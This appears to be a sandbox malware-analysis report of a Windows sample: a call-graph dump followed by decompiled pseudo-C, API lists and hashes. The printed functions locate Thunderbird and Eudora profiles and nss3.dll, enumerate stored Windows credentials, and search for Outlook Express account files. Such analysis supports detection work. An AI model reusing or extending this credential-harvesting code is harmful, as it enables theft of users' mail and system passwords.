33494 41017c 33492->33494 33493->33494 33494->33264 33495->33265 33497 4036ed 33496->33497 33500 4037b7 33496->33500 33699 4101d8 UuidFromStringA UuidFromStringA memcpy 33497->33699 33499 403700 33499->33500 33501 403708 strchr 33499->33501 33500->33429 33501->33500 33502 403722 33501->33502 33700 4021ad memset 33502->33700 33504 403731 _mbscpy _mbscpy strlen 33505 403796 _mbscpy 33504->33505 33506 40377b sprintf 33504->33506 33701 4023d7 16 API calls 33505->33701 33506->33505 33509 408354 33508->33509 33702 408043 11 API calls 33509->33702 33513 408372 33514 403ca7 33513->33514 33515 40837d memset 33513->33515 33526 407f93 33514->33526 33705 4104d7 RegEnumKeyExA 33515->33705 33517 408444 RegCloseKey 33517->33514 33519 4083a9 33519->33517 33520 4083ce memset 33519->33520 33706 410411 RegOpenKeyExA 33519->33706 33709 4104d7 RegEnumKeyExA 33519->33709 33707 410452 RegQueryValueExA 33520->33707 33523 408406 33708 4081fd 10 API calls 33523->33708 33525 40841d RegCloseKey 33525->33519 33710 410411 RegOpenKeyExA 33526->33710 33528 407fb5 33529 403cb3 33528->33529 33530 407fbc memset 33528->33530 33538 408458 33529->33538 33711 4104d7 RegEnumKeyExA 33530->33711 33532 408035 RegCloseKey 33532->33529 33534 407fe5 33534->33532 33712 410411 RegOpenKeyExA 33534->33712 33713 407e63 11 API calls 33534->33713 33714 4104d7 RegEnumKeyExA 33534->33714 33537 408018 RegCloseKey 33537->33534 33715 4045d6 33538->33715 33541 408668 33723 404651 33541->33723 33543 4084a5 33543->33541 33546 4084af wcslen 33543->33546 33545 4084a3 CredEnumerateW 33545->33543 33547 408660 LocalFree 33546->33547 33554 4084e2 33546->33554 33547->33541 33548 4084ec _wcsncoll 33548->33554 33550 40472f 3 API calls 33550->33554 33551 404780 FreeLibrary 33551->33554 33552 408584 memset 33553 4085b1 memcpy wcschr 33552->33553 33552->33554 33553->33554 33554->33547 33554->33548 33554->33550 33554->33551 33554->33552 33554->33553 33555 408634 LocalFree 33554->33555 33726 404666 _mbscpy 33554->33726 33555->33554 33556 410411 RegOpenKeyExA 33556->33442 33557->33446 33727 410411 RegOpenKeyExA 33558->33727 33560 402c6c 33561 402d97 33560->33561 33562 402c79 memset 33560->33562 33561->33451 33728 4104d7 RegEnumKeyExA 33562->33728 33564 402d8e RegCloseKey 33564->33561 33565 410493 3 API calls 33566 402cd6 memset sprintf 33565->33566 33729 410411 RegOpenKeyExA 33566->33729 33568 402d1a 33569 402d2c sprintf 33568->33569 33730 402bc3 39 API calls 33568->33730 33731 410411 RegOpenKeyExA 33569->33731 33574 402ca4 33574->33564 33574->33565 33575 402d8c 33574->33575 33732 402bc3 39 API calls 33574->33732 33733 4104d7 RegEnumKeyExA 33574->33733 33575->33564 33576->33454 33577->33458 33578->33462 33580 41018b 33579->33580 33581 410166 FreeLibrary 33580->33581 33582 403dca 33581->33582 33582->33467 33734 410411 RegOpenKeyExA 33583->33734 33585 402feb 33586 402ff8 memset 33585->33586 33587 40311e 33585->33587 33735 4104d7 RegEnumKeyExA 33586->33735 33587->33471 33589 403114 RegCloseKey 33589->33587 33590 403025 33590->33589 33591 410493 3 API calls 33590->33591 33594 403094 memset 33590->33594 33596 4030eb RegCloseKey 33590->33596 33598 4104d7 RegEnumKeyExA 33590->33598 33738 402da5 26 API calls 33590->33738 33592 40304a memset sprintf 33591->33592 33736 410411 RegOpenKeyExA 33592->33736 33737 4104d7 RegEnumKeyExA 33594->33737 33596->33590 33598->33590 33600 4032c7 33599->33600 33601 40339b 33599->33601 33739 4021ad memset 33600->33739 33614 4034d6 memset memset 33601->33614 33603 4032d3 33740 403158 strlen GetPrivateProfileStringA strchr strlen memcpy 33603->33740 33605 4032dc 33606 4032ea memset GetPrivateProfileSectionA 33605->33606 33741 4023d7 16 API calls 33605->33741 33606->33601 33608 403321 33606->33608 33608->33601 33609 40338d strlen 33608->33609 33742 4021ad memset 33608->33742 33743 403158 strlen GetPrivateProfileStringA strchr strlen memcpy 33608->33743 33744 4023d7 16 API calls 33608->33744 33609->33601 33609->33608 33611 403342 strchr 33611->33608 33615 410493 3 API calls 33614->33615 33616 403531 33615->33616 33617 403571 33616->33617 33618 403538 _mbscpy 33616->33618 33622 403977 33617->33622 33745 406af3 strlen _mbscat 33618->33745 33620 403557 _mbscat 33746 4033e2 19 API calls 33620->33746 33747 404666 _mbscpy 33622->33747 33626 40399c 33628 4039f1 33626->33628 33748 40edd5 memset memset 33626->33748 33769 40f057 33626->33769 33787 4038da 21 API calls 33626->33787 33629 404780 FreeLibrary 33628->33629 33630 4039fd 33629->33630 33631 4037bc memset memset 33630->33631 33795 443a35 memset 33631->33795 33634 4038d4 33634->33481 33697 40eca9 303 API calls 33634->33697 33636 403820 33637 406ca4 2 API calls 33636->33637 33638 403835 33637->33638 33639 406ca4 2 API calls 33638->33639 33640 403847 strchr 33639->33640 33641 403876 _mbscpy 33640->33641 33642 403889 strlen 33640->33642 33643 4038b1 _mbscpy 33641->33643 33642->33643 33644 403896 sprintf 33642->33644 33807 4023d7 16 API calls 33643->33807 33644->33643 33647 4446d0 33646->33647 33648 40f488 RegOpenKeyExA 33647->33648 33649 40f4b3 RegOpenKeyExA 33648->33649 33650 403e6c 33648->33650 33651 40f5a5 RegCloseKey 33649->33651 33652 40f4cd RegQueryValueExA 33649->33652 33660 40f2e4 33650->33660 33651->33650 33653 40f59b RegCloseKey 33652->33653 33654 40f4fc 33652->33654 33653->33651 33655 40472f 3 API calls 33654->33655 33656 40f509 33655->33656 33656->33653 33657 40f591 LocalFree 33656->33657 33658 40f555 memcpy memcpy 33656->33658 33657->33653 33812 40f177 11 API calls 33658->33812 33661 406e4c GetVersionExA 33660->33661 33662 40f305 33661->33662 33663 4045d6 7 API calls 33662->33663 33667 40f321 33663->33667 33664 40f45e 33665 404651 FreeLibrary 33664->33665 33666 403e72 33665->33666 33672 4437d7 memset 33666->33672 33667->33664 33668 40f38b memset WideCharToMultiByte 33667->33668 33668->33667 33669 40f3bb _strnicmp 33668->33669 33669->33667 33670 40f3d3 WideCharToMultiByte 33669->33670 33670->33667 33671 40f400 WideCharToMultiByte 33670->33671 33671->33667 33673 41072b 9 API calls 33672->33673 33674 443816 33673->33674 33813 40732d strlen strlen 33674->33813 33679 41072b 9 API calls 33680 44383d 33679->33680 33681 40732d 3 API calls 33680->33681 33682 443847 33681->33682 33683 4436ff 65 API calls 33682->33683 33684 443853 memset memset 33683->33684 33685 410493 3 API calls 33684->33685 33686 4438a6 ExpandEnvironmentStringsA strlen 33685->33686 33687 4438e1 _strcmpi 33686->33687 33688 4438d2 33686->33688 33689 403e7e 33687->33689 33690 4438f9 33687->33690 33688->33687 33689->33264 33691 4436ff 65 API calls 33690->33691 33691->33689 33692->33443 33693->33447 33694->33455 33695->33459 33696->33463 33697->33481 33698->33482 33699->33499 33700->33504 33701->33500 33703 40818e 33702->33703 33704 410411 RegOpenKeyExA 33703->33704 33704->33513 33705->33519 33706->33519 33707->33523 33708->33525 33709->33519 33710->33528 33711->33534 33712->33534 33713->33537 33714->33534 33716 404651 FreeLibrary 33715->33716 33717 4045de LoadLibraryA 33716->33717 33718 40464c 33717->33718 33719 4045ef GetProcAddress GetProcAddress GetProcAddress GetProcAddress GetProcAddress 33717->33719 33718->33541 33718->33543 33718->33545 33720 404638 33719->33720 33721 40463e 33720->33721 33722 404651 FreeLibrary 33720->33722 33721->33718 33722->33718 33724 403cbf 33723->33724 33725 404657 FreeLibrary 33723->33725 33724->33556 33725->33724 33726->33554 33727->33560 33728->33574 33729->33568 33730->33569 33731->33574 33732->33574 33733->33574 33734->33585 33735->33590 33736->33590 33737->33590 33738->33590 33739->33603 33740->33605 33741->33606 33742->33611 33743->33608 33744->33608 33745->33620 33746->33617 33747->33626 33788 407649 33748->33788 33751 407649 _mbsnbcat 33752 40ef18 RegOpenKeyExA 33751->33752 33753 40ef38 RegQueryValueExA 33752->33753 33754 40f04e 33752->33754 33755 40f045 RegCloseKey 33753->33755 33756 40ef65 33753->33756 33754->33626 33755->33754 33756->33755 33765 40efea 33756->33765 33792 404666 _mbscpy 33756->33792 33758 40ef86 33760 40472f 3 API calls 33758->33760 33766 40ef8b 33760->33766 33761 40f013 RegQueryValueExA 33761->33755 33762 40f036 33761->33762 33762->33755 33763 40efdf 33764 404780 FreeLibrary 33763->33764 33764->33765 33765->33755 33793 4012ee strlen 33765->33793 33766->33763 33767 40efd6 LocalFree 33766->33767 33768 40efba memcpy 33766->33768 33767->33763 33768->33767 33794 404666 _mbscpy 33769->33794 33771 40f06f 33772 4045d6 7 API calls 33771->33772 33773 40f07d 33772->33773 33774 40f157 33773->33774 33775 40472f 3 API calls 33773->33775 33776 404651 FreeLibrary 33774->33776 33777 40f08a 33775->33777 33778 40f166 33776->33778 33777->33774 33779 40f092 CredReadA 33777->33779 33780 404780 FreeLibrary 33778->33780 33779->33774 33782 40f0a9 33779->33782 33781 40f171 33780->33781 33781->33626 33782->33774 33782->33782 33783 40f10c WideCharToMultiByte 33782->33783 33784 40f12d strlen 33783->33784 33785 40f14e LocalFree 33783->33785 33784->33785 33786 40f13d _mbscpy 33784->33786 33785->33774 33786->33785 33787->33626 33789 407675 33788->33789 33790 407656 _mbsnbcat 33789->33790 33791 407679 33789->33791 33790->33789 33791->33751 33792->33758 33793->33761 33794->33771 33808 410411 RegOpenKeyExA 33795->33808 33797 443a6f 33798 40380c 33797->33798 33809 410452 RegQueryValueExA 33797->33809 33798->33634 33806 4021ad memset 33798->33806 33800 443a88 33801 443ac0 RegCloseKey 33800->33801 33810 410452 RegQueryValueExA 33800->33810 33801->33798 33803 443aa5 33803->33801 33811 443d5d 30 API calls 33803->33811 33805 443abe 33805->33801 33806->33636 33807->33634 33808->33797 33809->33800 33810->33803 33811->33805 33812->33657 33814 407358 33813->33814 33815 40734a _mbscat 33813->33815 33816 4436ff 33814->33816 33815->33814 33833 407c2c 33816->33833 33819 44373a 33820 443761 33819->33820 33822 443745 33819->33822 33841 407c87 33819->33841 33821 407c2c 9 API calls 33820->33821 33830 44378d 33821->33830 33858 443683 52 API calls 33822->33858 33824 407c87 9 API calls 33824->33830 33825 4437bb 33855 407d1f 33825->33855 33829 407d1f FindClose 33831 4437d1 33829->33831 33830->33824 33830->33825 33832 4436ff 65 API calls 33830->33832 33851 407bf1 33830->33851 33831->33679 33832->33830 33834 407d1f FindClose 33833->33834 33835 407c39 33834->33835 33836 406ca4 2 API calls 33835->33836 33837 407c4c strlen strlen 33836->33837 33838 407c70 33837->33838 33839 407c79 33837->33839 33859 406e81 strlen _mbscat _mbscpy _mbscat 33838->33859 33839->33819 33842 407c92 FindFirstFileA 33841->33842 33843 407cb3 FindNextFileA 33841->33843 33844 407cce 33842->33844 33845 407cd5 strlen strlen 33843->33845 33846 407cc9 33843->33846 33844->33845 33847 407d0e 33844->33847 33845->33847 33848 407d05 33845->33848 33849 407d1f FindClose 33846->33849 33847->33819 33860 406e81 strlen _mbscat _mbscpy _mbscat 33848->33860 33849->33844 33852 407c23 33851->33852 33853 407bfb strcmp 33851->33853 33852->33830 33853->33852 33854 407c12 strcmp 33853->33854 33854->33852 33856 407d32 33855->33856 33857 407d28 FindClose 33855->33857 33856->33829 33857->33856 33858->33819 33859->33839 33860->33847 33861->33281 33862->33277 33863->33288 33864->33289 33865->33295 33866->33292 33867->33287 34037 426928 CloseHandle memset memset 34195 405f2b 12 API calls 34197 42df2e 127 API calls 32966 410531 32969 410344 32966->32969 32970 410351 32969->32970 32971 410398 memset GetPrivateProfileStringA 32970->32971 32972 41035f memset 32970->32972 32977 4073d5 strlen 32971->32977 32982 40735c sprintf memcpy 32972->32982 32975 4103da 32976 410381 WritePrivateProfileStringA 32976->32975 32978 4073e9 32977->32978 32980 4073eb 32977->32980 32978->32975 32979 407432 32979->32975 32980->32979 32983 40710b strtoul 32980->32983 32982->32976 32983->32980 34198 43f332 133 API calls 34200 418f35 61 API calls 34202 425e13 109 API calls 34044 411136 InterlockedCompareExchange RtlInitializeCriticalSection 34046 425e13 19 API calls 34050 440132 34 API calls 34052 4111c1 RtlInitializeCriticalSection memset 34207 4157c8 16 API calls 34209 43f3ce 138 API calls 34055 4275cd 44 API calls 34211 424852 108 API calls 34213 42dbd4 18 API calls 34058 40c5d8 18 API calls 34214 432bda 16 API calls 34215 43ebd9 22 API calls 33887 4105dd FindResourceA 33888 4105f6 SizeofResource 33887->33888 33891 410620 33887->33891 33889 410607 LoadResource 33888->33889 33888->33891 33890 410615 LockResource 33889->33890 33889->33891 33890->33891 34218 4013de 15 API calls 34221 424852 76 API calls 34062 4141e7 15 API calls 34223 43ebdd 25 API calls 34224 43efec 18 API calls 34226 443ff5 _onexit 34064 4021f6 14 API calls 34228 427bfb 36 API calls 34066 433982 16 API calls 34068 411182 InterlockedCompareExchange RtlDeleteCriticalSection 34231 412786 _endthreadex 34069 401591 8 API calls 34234 432b91 15 API calls 34235 43eb91 17 API calls 34072 410597 memset _itoa WritePrivateProfileStringA GetPrivateProfileIntA 34236 43ff95 20 API calls 34237 42af9d 31 API calls 34238 424852 119 API calls 34240 4143a4 18 API calls 34243 409fae 12 API calls 34077 419db5 42 API calls 34244 4167b5 memset 34245 4293b4 10 API calls 34078 40f5b8 70 API calls 34080 4375b9 22 API calls 34250 4243bd 15 API calls

                                                                                                                            Executed Functions

                                                                                                                            Function 00408043 Relevance: 31.6, APIs: 11, Strings: 7, Instructions: 143stringCOMMON
                                                                                                                            Download Yara Rule

                                                                                                                            Control-flow Graph

                                                                                                                            • Executed
                                                                                                                            • Not Executed
                                                                                                                            control_flow_graph 129 408043-40818c memset * 4 GetComputerNameA GetUserNameA MultiByteToWideChar * 2 strlen * 2 memcpy 130 4081c2-4081c5 129->130 131 40818e 129->131 133 4081f6-4081fa 130->133 134 4081c7-4081d0 130->134 132 408194-40819d 131->132 135 4081a4-4081c0 132->135 136 40819f-4081a3 132->136 137 4081d2-4081d6 134->137 138 4081d7-4081f4 134->138 135->130 135->132 136->135 137->138 138->133 138->134
                                                                                                                            C-Code - Quality: 100%
                                                                                                                            			E00408043(signed int _a4) {
				char _v5;
				char _v6;
				char _v7;
				char _v8;
				char _v9;
				char _v10;
				char _v11;
				char _v12;
				char _v13;
				char _v14;
				char _v15;
				char _v16;
				char _v17;
				char _v18;
				char _v19;
				void _v20;
				long _v24;
				int _v28;
				int _v32;
				void* _v36;
				void _v291;
				char _v292;
				void _v547;
				char _v548;
				void _v1058;
				short _v1060;
				void _v1570;
				short _v1572;
				int _t88;
				signed int _t91;
				signed int _t92;
				signed int _t94;
				signed int _t96;
				signed int _t99;
				signed int _t104;
				signed short* _t110;
				void* _t113;
				void* _t114;

				_t92 = 0;
				_v20 = 0xa3;
				_v19 = 0x1e;
				_v18 = 0xf3;
				_v17 = 0x69;
				_v16 = 7;
				_v15 = 0x62;
				_v14 = 0xd9;
				_v13 = 0x1f;
				_v12 = 0x1e;
				_v11 = 0xe9;
				_v10 = 0x35;
				_v9 = 0x7d;
				_v8 = 0x4f;
				_v7 = 0xd2;
				_v6 = 0x7d;
				_v5 = 0x48;
				_v292 = 0;
				memset( &_v291, 0, 0xff);
				_v548 = 0;
				memset( &_v547, 0, 0xff);
				_v1572 = 0;
				memset( &_v1570, 0, 0x1fe);
				_v1060 = 0;
				memset( &_v1058, 0, 0x1fe);
				_v36 = _a4 + 4;
				_a4 = 0;
				_v24 = 0xff;
				GetComputerNameA( &_v292,  &_v24); // executed
				_v24 = 0xff;
				GetUserNameA( &_v548,  &_v24); // executed
				MultiByteToWideChar(0, 0,  &_v292, 0xffffffff,  &_v1572, 0xff);
				MultiByteToWideChar(0, 0,  &_v548, 0xffffffff,  &_v1060, 0xff);
				_v32 = strlen( &_v292);
				_t88 = strlen( &_v548);
				_t113 = _v36;
				_v28 = _t88;
				memcpy(_t113,  &_v20, 0x10);
				_t91 = 0xba0da71d;
				if(_v28 > 0) {
					_t110 =  &_v1060;
					do {
						_t104 = _a4 & 0x80000003;
						if(_t104 < 0) {
							_t104 = (_t104 - 0x00000001 | 0xfffffffc) + 1;
						}
						_t96 = ( *_t110 & 0x0000ffff) * _t91;
						_t91 = _t91 * 0xbc8f;
						 *(_t113 + _t104 * 4) =  *(_t113 + _t104 * 4) ^ _t96;
						_a4 = _a4 + 1;
						_t110 =  &(_t110[1]);
					} while (_a4 < _v28);
				}
				if(_v32 > _t92) {
					do {
						_t99 = _a4 & 0x80000003;
						if(_t99 < 0) {
							_t99 = (_t99 - 0x00000001 | 0xfffffffc) + 1;
						}
						_t94 = ( *(_t114 + _t92 * 2 - 0x620) & 0x0000ffff) * _t91;
						_t91 = _t91 * 0xbc8f;
						 *(_t113 + _t99 * 4) =  *(_t113 + _t99 * 4) ^ _t94;
						_a4 = _a4 + 1;
						_t92 = _t92 + 1;
					} while (_t92 < _v32);
				}
				return _t91;
			}









































                                                                                                                            0x00408054
                                                                                                                            0x0040805f
                                                                                                                            0x00408063
                                                                                                                            0x00408067
                                                                                                                            0x0040806b
                                                                                                                            0x0040806f
                                                                                                                            0x00408073
                                                                                                                            0x00408077
                                                                                                                            0x0040807b
                                                                                                                            0x0040807f
                                                                                                                            0x00408083
                                                                                                                            0x00408087
                                                                                                                            0x0040808b
                                                                                                                            0x0040808f
                                                                                                                            0x00408093
                                                                                                                            0x00408097
                                                                                                                            0x0040809b
                                                                                                                            0x0040809f
                                                                                                                            0x004080a5
                                                                                                                            0x004080b3
                                                                                                                            0x004080b9
                                                                                                                            0x004080cc
                                                                                                                            0x004080d3
                                                                                                                            0x004080e1
                                                                                                                            0x004080e8
                                                                                                                            0x004080f3
                                                                                                                            0x00408104
                                                                                                                            0x00408107
                                                                                                                            0x0040810a
                                                                                                                            0x0040811b
                                                                                                                            0x0040811e
                                                                                                                            0x0040813d
                                                                                                                            0x00408152
                                                                                                                            0x00408160
                                                                                                                            0x0040816a
                                                                                                                            0x0040816f
                                                                                                                            0x00408172
                                                                                                                            0x0040817c
                                                                                                                            0x00408187
                                                                                                                            0x0040818c
                                                                                                                            0x0040818e
                                                                                                                            0x00408194
                                                                                                                            0x00408197
                                                                                                                            0x0040819d
                                                                                                                            0x004081a3
                                                                                                                            0x004081a3
                                                                                                                            0x004081a7
                                                                                                                            0x004081aa
                                                                                                                            0x004081b3
                                                                                                                            0x004081b5
                                                                                                                            0x004081bc
                                                                                                                            0x004081bd
                                                                                                                            0x00408194
                                                                                                                            0x004081c5
                                                                                                                            0x004081c7
                                                                                                                            0x004081ca
                                                                                                                            0x004081d0
                                                                                                                            0x004081d6
                                                                                                                            0x004081d6
                                                                                                                            0x004081df
                                                                                                                            0x004081e2
                                                                                                                            0x004081eb
                                                                                                                            0x004081ed
                                                                                                                            0x004081f0
                                                                                                                            0x004081f1
                                                                                                                            0x004081c7
                                                                                                                            0x004081fa

                                                                                                                            APIs
                                                                                                                            • memset.MSVCRT ref: 004080A5
                                                                                                                            • memset.MSVCRT ref: 004080B9
                                                                                                                            • memset.MSVCRT ref: 004080D3
                                                                                                                            • memset.MSVCRT ref: 004080E8
                                                                                                                            • GetComputerNameA.KERNEL32(?,?), ref: 0040810A
                                                                                                                            • GetUserNameA.ADVAPI32(?,?), ref: 0040811E
                                                                                                                            • MultiByteToWideChar.KERNEL32(00000000,00000000,?,000000FF,?,000000FF), ref: 0040813D
                                                                                                                            • MultiByteToWideChar.KERNEL32(00000000,00000000,?,000000FF,?,000000FF), ref: 00408152
                                                                                                                            • strlen.MSVCRT ref: 0040815B
                                                                                                                            • strlen.MSVCRT ref: 0040816A
                                                                                                                            • memcpy.MSVCRT ref: 0040817C
                                                                                                                            Strings
                                                                                                                            Memory Dump Source
                                                                                                                            • Source File: 0000001E.00000002.2469280981.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                                                                                                                            Joe Sandbox IDA Plugin
                                                                                                                            • Snapshot File: hcaresult_30_2_400000_ieinstal.jbxd
                                                                                                                            Similarity
                                                                                                                            • API ID: memset$ByteCharMultiNameWidestrlen$ComputerUsermemcpy
                                                                                                                            • String ID: 5$H$O$b$i$}$}
                                                                                                                            • API String ID: 1832431107-3760989150
                                                                                                                            • Opcode ID: 79ae67408c577b497298e938f7cc844113f9d56d662cffe44a33c18994f8cf05
                                                                                                                            • Instruction ID: 839b780f30062d9b3c48c7c4bb1edbc251b0819f5d773de0f2740150403ea89f
                                                                                                                            • Opcode Fuzzy Hash: 79ae67408c577b497298e938f7cc844113f9d56d662cffe44a33c18994f8cf05
                                                                                                                            • Instruction Fuzzy Hash: D151D771C0025DAEDB11CBA8CC41BEEBBBCEF49314F0441EAE555AA182D3389B45CB65
                                                                                                                            Uniqueness

                                                                                                                            Uniqueness Score: -1.00%

                                                                                                                            Function 00407C87 Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 58filestringCOMMON
                                                                                                                            Download Yara Rule
                                                                                                                            C-Code - Quality: 100%
                                                                                                                            			E00407C87(void** __eax) {
				void* __esi;
				void* _t15;
				int _t16;
				int _t17;
				void* _t26;
				void** _t38;
				void** _t40;
				void* _t45;

				_t40 = __eax;
				_t15 =  *__eax;
				if(_t15 != 0xffffffff) {
					_t16 = FindNextFileA(_t15,  &(__eax[0x52])); // executed
					 *(_t45 + 4) = _t16;
					if(_t16 != 0) {
						goto L5;
					} else {
						E00407D1F(_t40);
						goto L4;
					}
				} else {
					_t26 = FindFirstFileA( &(__eax[1]),  &(__eax[0x52])); // executed
					 *_t40 = _t26;
					 *(_t45 + 4) = 0 | _t26 != 0xffffffff;
					L4:
					if( *(_t45 + 4) != 0) {
						L5:
						_t38 =  &(_t40[0xa2]);
						_t28 =  &(_t40[0x5d]);
						_t41 =  &(_t40[0xf3]);
						_t17 = strlen( &(_t40[0xf3]));
						if(strlen( &(_t40[0x5d])) + _t17 + 1 >= 0x143) {
							 *_t38 = 0;
						} else {
							E00406E81(_t38, _t41, _t28);
						}
					}
				}
				return  *(_t45 + 4);
			}











                                                                                                                            0x00407c89
                                                                                                                            0x00407c8b
                                                                                                                            0x00407c90
                                                                                                                            0x00407cbb
                                                                                                                            0x00407cc3
                                                                                                                            0x00407cc7
                                                                                                                            0x00000000
                                                                                                                            0x00407cc9
                                                                                                                            0x00407cc9
                                                                                                                            0x00000000
                                                                                                                            0x00407cc9
                                                                                                                            0x00407c92
                                                                                                                            0x00407c9d
                                                                                                                            0x00407cab
                                                                                                                            0x00407cad
                                                                                                                            0x00407cce
                                                                                                                            0x00407cd3
                                                                                                                            0x00407cd5
                                                                                                                            0x00407cd8
                                                                                                                            0x00407cde
                                                                                                                            0x00407ce4
                                                                                                                            0x00407ceb
                                                                                                                            0x00407d03
                                                                                                                            0x00407d12
                                                                                                                            0x00407d05
                                                                                                                            0x00407d09
                                                                                                                            0x00407d0f
                                                                                                                            0x00407d17
                                                                                                                            0x00407cd3
                                                                                                                            0x00407d1e

                                                                                                                            APIs
                                                                                                                            • FindFirstFileA.KERNELBASE(?,?,?,?,0044375D,*.oeaccount,.8D,?,00000104), ref: 00407C9D
                                                                                                                            • FindNextFileA.KERNELBASE(?,?,?,?,0044375D,*.oeaccount,.8D,?,00000104), ref: 00407CBB
                                                                                                                            • strlen.MSVCRT ref: 00407CEB
                                                                                                                            • strlen.MSVCRT ref: 00407CF3
                                                                                                                            Strings
                                                                                                                            Memory Dump Source
                                                                                                                            • Source File: 0000001E.00000002.2469280981.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                                                                                                                            Joe Sandbox IDA Plugin
                                                                                                                            • Snapshot File: hcaresult_30_2_400000_ieinstal.jbxd
                                                                                                                            Similarity
                                                                                                                            • API ID: FileFindstrlen$FirstNext
                                                                                                                            • String ID: .8D
                                                                                                                            • API String ID: 379999529-2881260426
                                                                                                                            • Opcode ID: 154419784104938abdfe7f8196f43bddff311a2641cbca57966d1cc2155f4921
                                                                                                                            • Instruction ID: eb3e2fb57be8f0c3c515892a2c877e6408fe4d7e79a86a2feb9bdace6263c32c
                                                                                                                            • Opcode Fuzzy Hash: 154419784104938abdfe7f8196f43bddff311a2641cbca57966d1cc2155f4921
                                                                                                                            • Instruction Fuzzy Hash: 2F11A072909201AFE3109B38D844AEB73DCEF45325F600A2FF05AE31C1EB38A9409729
                                                                                                                            Uniqueness

                                                                                                                            Uniqueness Score: -1.00%

                                                                                                                            Function 00401E60 Relevance: 52.8, APIs: 19, Strings: 11, Instructions: 261stringregistryCOMMON
                                                                                                                            Download Yara Rule

                                                                                                                            Control-flow Graph

                                                                                                                            C-Code - Quality: 92%
                                                                                                                            			E00401E60(void* __eflags, char* _a4) {
				signed int _v8;
				int _v12;
				void _v275;
				char _v276;
				void _v539;
				char _v540;
				void _v795;
				char _v796;
				void _v1059;
				char _v1060;
				void _v1323;
				char _v1324;
				void _v2347;
				char _v2348;
				void* __edi;
				void* __esi;
				int _t65;
				char* _t69;
				char _t70;
				int _t71;
				char _t75;
				void* _t76;
				long _t78;
				void* _t83;
				int _t85;
				void* _t87;
				int _t104;
				int _t108;
				char _t125;
				void* _t136;
				void* _t138;
				char* _t156;
				char* _t157;
				char* _t159;
				int _t160;
				void* _t163;
				CHAR* _t168;
				void* _t170;
				void* _t171;
				void* _t172;
				void* _t173;
				void* _t174;

				_v540 = 0;
				memset( &_v539, 0, 0x104);
				_t163 = 0x1a;
				E0041072B( &_v540, _t163); // executed
				_t65 = strlen(0x44555c);
				_t6 = strlen( &_v540) + 1; // 0x1
				_t171 = _t170 + 0x14;
				if(_t65 + _t6 >= 0x104) {
					_t69 = _a4;
					 *_t69 = 0;
					_t156 = _t69;
				} else {
					_t156 = _a4;
					E00406E81(_t156,  &_v540, 0x44555c);
				}
				_t70 = E00406D1F(_t156);
				if(_t70 == 0) {
					 *_t156 = _t70;
				}
				_t157 = _t156 + 0x105;
				_t71 = strlen("Thunderbird\Profiles");
				_t12 = strlen( &_v540) + 1; // 0x1
				if(_t71 + _t12 >= 0x104) {
					 *_t157 = 0;
				} else {
					E00406E81(_t157,  &_v540, "Thunderbird\Profiles");
				}
				_t75 = E00406D1F(_t157);
				_pop(_t136);
				if(_t75 == 0) {
					 *_t157 = _t75;
				}
				_t159 = _a4 + 0x20a;
				_t76 = E00401C30(_t136, _t159, 0x80000001, "Software\Qualcomm\Eudora\CommandLine", "current"); // executed
				_t172 = _t171 + 0xc;
				if(_t76 == 0) {
					_t125 = E00401C30(_t136, _t159, 0x80000002, "Software\Classes\Software\Qualcomm\Eudora\CommandLine\current", 0x44551f); // executed
					_t172 = _t172 + 0xc;
					if(_t125 == 0) {
						 *_t159 = _t125;
					}
				}
				_v8 = _v8 & 0x00000000;
				_t78 = E00410411(0x80000002, "Software\Mozilla\Mozilla Thunderbird",  &_v8);
				_t173 = _t172 + 0xc;
				if(_t78 != 0) {
					L32:
					_t168 = _a4 + 0x30f;
					if( *_t168 != 0) {
						L35:
						return _t78;
					}
					ExpandEnvironmentStringsA("%programfiles%\Mozilla Thunderbird", _t168, 0x104);
					_t78 = E00406D1F(_t168);
					if(_t78 != 0) {
						goto L35;
					}
					 *_t168 = _t78;
					return _t78;
				} else {
					_v796 = _t78;
					_t160 = 0;
					memset( &_v795, 0, 0xff);
					_v12 = 0;
					_t83 = E004104D7(_v8, 0,  &_v796);
					_t174 = _t173 + 0x18;
					if(_t83 != 0) {
						L31:
						_t78 = RegCloseKey(_v8);
						goto L32;
					}
					do {
						_t85 = atoi( &_v796);
						_pop(_t138);
						if(_t85 < 3) {
							goto L28;
						}
						_v2348 = 0;
						memset( &_v2347, _t160, 0x3ff);
						_v276 = 0;
						memset( &_v275, _t160, 0x104);
						_push( &_v796);
						sprintf( &_v2348, "%s\Main");
						E00410493(_t138, _v8,  &_v2348, "Install Directory",  &_v276, 0x104);
						_t174 = _t174 + 0x38;
						if(_v276 != 0 && E00406D1F( &_v276) != 0) {
							_v1060 = 0;
							memset( &_v1059, _t160, 0x104);
							_v1324 = 0;
							memset( &_v1323, _t160, 0x104);
							_t104 = strlen(0x44563c);
							_t41 = strlen( &_v276) + 1; // 0x1
							_t174 = _t174 + 0x20;
							if(_t104 + _t41 >= 0x104) {
								_v1060 = 0;
							} else {
								E00406E81( &_v1060,  &_v276, 0x44563c);
							}
							_t108 = strlen("nss3.dll");
							_t47 = strlen( &_v276) + 1; // 0x1
							if(_t108 + _t47 >= 0x104) {
								_v1324 = 0;
							} else {
								E00406E81( &_v1324,  &_v276, "nss3.dll");
							}
							if(E00406D1F( &_v1060) == 0 || E00406D1F( &_v1324) == 0) {
								_t160 = 0;
								goto L28;
							} else {
								0x444032(_a4 + 0x30f,  &_v276);
								goto L31;
							}
						}
						L28:
						_v12 = _v12 + 1;
						_t87 = E004104D7(_v8, _v12,  &_v796);
						_t174 = _t174 + 0xc;
					} while (_t87 == 0);
					goto L31;
				}
			}













































                                                                                                                            0x00401e7b
                                                                                                                            0x00401e82
                                                                                                                            0x00401e89
                                                                                                                            0x00401e90
                                                                                                                            0x00401e9b
                                                                                                                            0x00401eae
                                                                                                                            0x00401eb2
                                                                                                                            0x00401eb7
                                                                                                                            0x00401ecf
                                                                                                                            0x00401ed2
                                                                                                                            0x00401ed5
                                                                                                                            0x00401eb9
                                                                                                                            0x00401eb9
                                                                                                                            0x00401ec6
                                                                                                                            0x00401ecc
                                                                                                                            0x00401ed8
                                                                                                                            0x00401ee0
                                                                                                                            0x00401ee2
                                                                                                                            0x00401ee2
                                                                                                                            0x00401ee9
                                                                                                                            0x00401eef
                                                                                                                            0x00401f02
                                                                                                                            0x00401f0a
                                                                                                                            0x00401f23
                                                                                                                            0x00401f0c
                                                                                                                            0x00401f1a
                                                                                                                            0x00401f20
                                                                                                                            0x00401f27
